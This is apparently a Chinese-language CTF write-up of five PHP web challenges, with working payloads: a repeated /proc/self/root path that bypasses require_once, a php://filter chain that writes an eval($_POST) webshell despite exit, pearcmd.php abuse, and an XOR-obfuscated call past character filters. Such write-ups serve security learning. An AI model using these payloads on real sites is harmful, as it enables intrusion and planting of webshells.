01
首先了解到硬链接和软连接
—— 参考于该博客
/proc目录
在看BUUCTF--[WMCTF2020]题解时看见一句话
构造
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/file_include/Assess01/this_is_flag.php
成功绕过require_once
base63解码即可
02
输入about.inc比较奇怪到处点点看看
有个about这页面和上个类似就是编码有点问题后缀应该也是.inc后端应该加上了
这个点可以进行文件包含
由于只能上传jpg png
不知道为什么用不了试试phar也差不多
好了
03
pearcmd.php利用
这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。
构造payload
getshell
04
file_put_contents可以进行php伪协议写入数据,关键就是如何绕过exit 禁止了很多过滤器但还是有一些可以用
构造payload:
?content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_POST[%27a%27]);?>/resource=2.php
getshell
05
可以看到有一个eval函数但是¥hhh进行了长度过滤和各种字符过滤
用异或来过滤
写个异或脚本
再对着进行构造
写入一个phpinfo函数
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
只能说是意外发现